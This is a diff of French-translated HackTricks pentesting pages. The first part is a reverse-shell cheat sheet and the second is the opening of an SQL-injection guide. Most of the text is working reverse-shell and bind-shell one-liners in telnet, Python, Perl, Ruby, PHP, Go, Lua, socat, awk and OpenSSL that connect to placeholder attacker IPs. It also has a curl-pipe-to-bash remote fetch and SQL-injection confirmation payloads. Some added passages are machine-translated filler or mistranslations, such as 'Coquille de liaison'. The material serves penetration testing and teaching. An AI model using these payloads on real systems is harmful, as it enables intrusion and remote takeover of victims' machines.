Vous pourriez rencontrer des cas où vous avez un **RCE dans une application web sur une machine Linux** mais en raison des règles Iptables ou d'autres types de filtrage **vous ne pouvez pas obtenir de reverse shell**. Ce "shell" vous permet de maintenir un shell PTY à travers ce RCE en utilisant des pipes à l'intérieur du système victime.\
|
Il se peut que vous rencontriez des cas où vous avez une **RCE dans une application web sur une machine Linux** mais en raison de règles Iptables ou d'autres types de filtrage, **vous ne pouvez pas obtenir de shell inversé**. Ce "shell" vous permet de maintenir un shell PTY via cette RCE en utilisant des tubes à l'intérieur du système victime.\
|
||||||
Vous pouvez trouver le code sur [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
|
Vous pouvez trouver le code sur [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
|
||||||
|
|
||||||
Vous devez simplement modifier :
|
Il vous suffit de modifier :
|
||||||
|
|
||||||
* L'URL de l'hôte vulnérable
|
* L'URL de l'hôte vulnérable
|
||||||
* Le préfixe et le suffixe de votre payload (le cas échéant)
|
* Le préfixe et le suffixe de votre charge utile (le cas échéant)
|
||||||
* La manière dont le payload est envoyé (entêtes ? données ? infos supplémentaires ?)
|
* La manière dont la charge utile est envoyée (en-têtes ? données ? informations supplémentaires ?)
|
||||||
|
|
||||||
Ensuite, vous pouvez simplement **envoyer des commandes** ou même **utiliser la commande `upgrade`** pour obtenir un PTY complet (notez que les pipes sont lus et écrits avec un délai approximatif de 1,3 seconde).
|
Ensuite, vous pouvez simplement **envoyer des commandes** ou même **utiliser la commande `upgrade`** pour obtenir un shell PTY complet (notez que les tubes sont lus et écrits avec un délai approximatif de 1,3s).
|
||||||
|
|
||||||
## Netcat
|
## Netcat
|
||||||
```bash
|
```bash
|
||||||
|
@ -93,6 +93,8 @@ Vérifiez-le sur [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/
|
||||||
bash -c "$(curl -fsSL gsocket.io/x)"
|
bash -c "$(curl -fsSL gsocket.io/x)"
|
||||||
```
|
```
|
||||||
## Telnet
|
## Telnet
|
||||||
|
|
||||||
|
Telnet est un protocole de communication utilisé pour se connecter à distance à un serveur, souvent pour un débogage ou une administration système. Il transmet les données en texte clair, ce qui le rend vulnérable aux attaques de type interception. Il est recommandé d'éviter d'utiliser Telnet pour des connexions sensibles et de privilégier des protocoles plus sécurisés comme SSH.
|
||||||
```bash
|
```bash
|
||||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||||
|
@ -105,13 +107,15 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
|
||||||
```bash
|
```bash
|
||||||
while true; do nc -l <port>; done
|
while true; do nc -l <port>; done
|
||||||
```
|
```
|
||||||
Pour envoyer la commande, écrivez-la, appuyez sur Entrée et appuyez sur CTRL+D (pour arrêter STDIN)
|
Pour envoyer la commande, écrivez-la, appuyez sur Entrée, puis sur CTRL+D (pour arrêter STDIN)
|
||||||
|
|
||||||
**Victime**
|
**Victime**
|
||||||
```bash
|
```bash
|
||||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||||
```
|
```
|
||||||
## Python
|
## Python
|
||||||
|
|
||||||
|
Python is a versatile and powerful programming language commonly used in hacking due to its simplicity and readability. It provides a wide range of libraries and frameworks that can be used for various hacking tasks, such as network scanning, web scraping, and creating custom tools. Python scripts can be easily executed on different operating systems, making it a popular choice among hackers.
|
||||||
```bash
|
```bash
|
||||||
#Linux
|
#Linux
|
||||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||||
|
@ -120,6 +124,8 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
|
||||||
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
||||||
```
|
```
|
||||||
## Perl
|
## Perl
|
||||||
|
|
||||||
|
Perl est un langage de script polyvalent et puissant couramment utilisé pour l'automatisation de tâches, le traitement de texte et la manipulation de fichiers. Il est également largement utilisé dans le domaine de la sécurité informatique pour diverses tâches, telles que l'analyse de fichiers journaux, la manipulation de données et la création d'outils personnalisés. Perl offre une grande flexibilité et une grande capacité à interagir avec le système d'exploitation, ce qui en fait un outil précieux pour les professionnels de la sécurité informatique.
|
||||||
```bash
|
```bash
|
||||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||||
|
@ -130,6 +136,8 @@ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
|
||||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||||
```
|
```
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
|
PHP (Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML. It is executed on the server side, meaning that the code is processed on the server before being sent to the client's web browser. PHP can perform various tasks such as collecting form data, generating dynamic page content, sending and receiving cookies, and more.
|
||||||
```php
|
```php
|
||||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||||
|
@ -152,19 +160,21 @@ p.waitFor()
|
||||||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||||
```
|
```
|
||||||
```
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités qui comptent le plus afin de les corriger rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
```
|
|
||||||
|
## Golang
|
||||||
```bash
|
```bash
|
||||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||||
```
|
```
|
||||||
## Lua
|
## Lua
|
||||||
|
|
||||||
|
Lua est un langage de script léger et puissant. Il est souvent utilisé pour l'automatisation de tâches, la création de scripts et le développement d'applications. Lua est largement utilisé dans le domaine des jeux vidéo en raison de sa flexibilité et de sa facilité d'intégration avec d'autres langages de programmation.
|
||||||
```bash
|
```bash
|
||||||
#Linux
|
#Linux
|
||||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||||
|
@ -216,7 +226,7 @@ https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
||||||
```
|
```
|
||||||
## OpenSSL
|
## OpenSSL
|
||||||
|
|
||||||
L'Attaquant (Kali)
|
L'attaquant (Kali)
|
||||||
```bash
|
```bash
|
||||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||||
|
@ -234,7 +244,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
|
||||||
|
|
||||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||||
|
|
||||||
### Shell de liaison
|
### Coquille de liaison
|
||||||
```bash
|
```bash
|
||||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||||
|
@ -245,10 +255,18 @@ attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||||
```
|
```
|
||||||
## Awk
|
## Awk
|
||||||
|
|
||||||
|
Awk est un langage de programmation polyvalent et une commande de traitement de texte couramment utilisée dans les environnements Unix. Il est souvent utilisé pour extraire et manipuler des données textuelles structurées. Voici un exemple simple d'utilisation d'Awk pour afficher la première colonne d'un fichier CSV :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
awk -F ',' '{print $1}' fichier.csv
|
||||||
|
```
|
||||||
|
|
||||||
|
Dans cet exemple, `-F ','` spécifie que la virgule est utilisée comme délimiteur de champ, et `{print $1}` indique à Awk d'imprimer la première colonne de chaque ligne du fichier CSV.
|
||||||
```bash
|
```bash
|
||||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||||
```
|
```
|
||||||
## Finger
|
## Doigt
|
||||||
|
|
||||||
**Attaquant**
|
**Attaquant**
|
||||||
```bash
|
```bash
|
||||||
|
@ -263,6 +281,8 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; s
|
||||||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
||||||
```
|
```
|
||||||
## Gawk
|
## Gawk
|
||||||
|
|
||||||
|
Gawk est un langage de programmation interprété qui est souvent utilisé pour le traitement de fichiers texte et la génération de rapports. Il est également couramment utilisé par les hackers pour manipuler des données et automatiser des tâches lors de tests d'intrusion.
|
||||||
```bash
|
```bash
|
||||||
#!/usr/bin/gawk -f
|
#!/usr/bin/gawk -f
|
||||||
|
|
||||||
|
@ -287,21 +307,21 @@ close(Service)
|
||||||
```
|
```
|
||||||
## Xterm
|
## Xterm
|
||||||
|
|
||||||
Une des formes les plus simples de reverse shell est une session xterm. La commande suivante doit être exécutée sur le serveur. Elle tentera de se connecter à vous (10.0.0.1) sur le port TCP 6001.
|
Une des formes les plus simples de shell inversé est une session xterm. La commande suivante doit être exécutée sur le serveur. Elle tentera de se connecter à vous (10.0.0.1) sur le port TCP 6001.
|
||||||
```bash
|
```bash
|
||||||
xterm -display 10.0.0.1:1
|
xterm -display 10.0.0.1:1
|
||||||
```
|
```
|
||||||
Pour intercepter le xterm entrant, démarrez un serveur X (:1 – qui écoute sur le port TCP 6001). Une manière de faire cela est avec Xnest (à exécuter sur votre système) :
|
Pour intercepter le xterm entrant, démarrez un serveur X (:1 - qui écoute sur le port TCP 6001). Une façon de faire cela est avec Xnest (à exécuter sur votre système):
|
||||||
```bash
|
```bash
|
||||||
Xnest :1
|
Xnest :1
|
||||||
```
|
```
|
||||||
Vous devrez autoriser la cible à se connecter à vous (commande exécutée également sur votre hôte) :
|
Vous devrez autoriser la cible à se connecter à vous (commande également exécutée sur votre hôte) :
|
||||||
```bash
|
```bash
|
||||||
xhost +targetip
|
xhost +targetip
|
||||||
```
|
```
|
||||||
## Groovy
|
## Groovy
|
||||||
|
|
||||||
par [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE : Les reverse shell Java fonctionnent également pour Groovy
|
par [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Les shells inversés Java fonctionnent également pour Groovy
|
||||||
```bash
|
```bash
|
||||||
String host="localhost";
|
String host="localhost";
|
||||||
int port=8044;
|
int port=8044;
|
||||||
|
@ -320,21 +340,21 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,33 +4,31 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus important en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
## Qu'est-ce que l'injection SQL ?
|
## Qu'est-ce qu'une injection SQL?
|
||||||
|
|
||||||
L'injection SQL est une vulnérabilité de sécurité web qui permet à un attaquant d'**interférer** avec les **requêtes** qu'une application fait à sa **base de données**. Elle permet généralement à un attaquant de **visualiser des données** auxquelles il n'a normalement pas accès. Cela peut inclure des données appartenant à **d'autres utilisateurs**, ou toute autre donnée à laquelle l'**application** elle-même est capable d'**accéder**. Dans de nombreux cas, un attaquant peut **modifier** ou **supprimer** ces données, provoquant des changements persistants dans le contenu ou le comportement de l'application.\
|
Une **injection SQL** est une faille de sécurité qui permet aux attaquants d'**interférer avec les requêtes de base de données** d'une application. Cette vulnérabilité peut permettre aux attaquants de **visualiser**, **modifier** ou **supprimer** des données auxquelles ils ne devraient pas accéder, y compris des informations d'autres utilisateurs ou toutes les données auxquelles l'application peut accéder. De telles actions peuvent entraîner des modifications permanentes de la fonctionnalité ou du contenu de l'application, voire compromettre le serveur ou provoquer un déni de service.
|
||||||
Dans certaines situations, un attaquant peut intensifier une attaque d'injection SQL pour **compromettre le serveur sous-jacent** ou toute autre infrastructure en arrière-plan, ou effectuer une attaque de déni de service. (De [ici](https://portswigger.net/web-security/sql-injection)).
|
|
||||||
|
|
||||||
> Dans ce POST, je vais supposer que nous avons trouvé une possible injection SQL et nous allons discuter des méthodes possibles pour confirmer l'injection SQL, reconnaître la base de données et effectuer des actions.
|
|
||||||
|
|
||||||
## Détection du point d'entrée
|
## Détection du point d'entrée
|
||||||
|
|
||||||
Vous avez peut-être trouvé un site qui est **apparemment vulnérable à l'injection SQL** simplement parce que le serveur se comporte de manière étrange avec les entrées liées à l'injection SQL. Par conséquent, la **première chose** à faire est de savoir comment **injecter des données dans la requête sans la casser**. Pour ce faire, vous devez d'abord trouver comment **échapper du contexte actuel**.\
|
Lorsqu'un site semble être **vulnérable à une injection SQL (SQLi)** en raison de réponses inhabituelles du serveur aux entrées liées à SQLi, la **première étape** consiste à comprendre comment **injecter des données dans la requête sans la perturber**. Cela nécessite d'identifier la méthode pour **s'échapper du contexte actuel** de manière efficace.
|
||||||
Voici quelques exemples utiles :
|
Voici quelques exemples utiles:
|
||||||
```
|
```
|
||||||
[Nothing]
|
[Nothing]
|
||||||
'
|
'
|
||||||
"
|
"
|
||||||
`
|
`
|
||||||
|
@ -43,7 +41,7 @@ Voici quelques exemples utiles :
|
||||||
```
|
```
|
||||||
Ensuite, vous devez savoir comment **corriger la requête pour qu'il n'y ait pas d'erreurs**. Pour corriger la requête, vous pouvez **entrer** des données pour que la **requête précédente accepte les nouvelles données**, ou vous pouvez simplement **entrer** vos données et **ajouter un symbole de commentaire à la fin**.
|
Ensuite, vous devez savoir comment **corriger la requête pour qu'il n'y ait pas d'erreurs**. Pour corriger la requête, vous pouvez **entrer** des données pour que la **requête précédente accepte les nouvelles données**, ou vous pouvez simplement **entrer** vos données et **ajouter un symbole de commentaire à la fin**.
|
||||||
|
|
||||||
Notez que si vous pouvez voir des messages d'erreur ou repérer des différences lorsque la requête fonctionne et quand elle ne fonctionne pas, cette phase sera plus facile.
|
_Notez que si vous pouvez voir des messages d'erreur ou repérer des différences lorsque la requête fonctionne et quand elle ne fonctionne pas, cette phase sera plus facile._
|
||||||
|
|
||||||
### **Commentaires**
|
### **Commentaires**
|
||||||
```sql
|
```sql
|
||||||
|
@ -73,24 +71,25 @@ HQL does not support comments
|
||||||
```
|
```
|
||||||
### Confirmation avec des opérations logiques
|
### Confirmation avec des opérations logiques
|
||||||
|
|
||||||
L'une des meilleures façons de confirmer une injection SQL est de la faire fonctionner avec une **opération logique** et d'obtenir les résultats attendus.\
|
Une méthode fiable pour confirmer une vulnérabilité d'injection SQL consiste à exécuter une **opération logique** et à observer les résultats attendus. Par exemple, un paramètre GET tel que `?username=Peter` produisant un contenu identique lorsqu'il est modifié en `?username=Peter' or '1'='1` indique une vulnérabilité d'injection SQL.
|
||||||
Par exemple : si le paramètre GET `?username=Peter` renvoie le même contenu que `?username=Peter' or '1'='1`, alors vous avez trouvé une injection SQL.
|
|
||||||
|
|
||||||
Vous pouvez également appliquer ce concept aux **opérations mathématiques**. Exemple : si `?id=1` renvoie la même chose que `?id=2-1`, injection SQL.
|
De même, l'application d'**opérations mathématiques** sert de technique de confirmation efficace. Par exemple, si l'accès à `?id=1` et `?id=2-1` produit le même résultat, cela indique une injection SQL.
|
||||||
|
|
||||||
|
Exemples démontrant la confirmation par des opérations logiques :
|
||||||
```
|
```
|
||||||
page.asp?id=1 or 1=1 -- true
|
page.asp?id=1 or 1=1 -- results in true
|
||||||
page.asp?id=1' or 1=1 -- true
|
page.asp?id=1' or 1=1 -- results in true
|
||||||
page.asp?id=1" or 1=1 -- true
|
page.asp?id=1" or 1=1 -- results in true
|
||||||
page.asp?id=1 and 1=2 -- false
|
page.asp?id=1 and 1=2 -- results in false
|
||||||
```
|
```
|
||||||
Cette liste de mots a été créée pour essayer de **confirmer les injections SQL** de la manière proposée :
|
Ce word-list a été créé pour essayer de **confirmer les injections SQL** de la manière proposée:
|
||||||
|
|
||||||
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
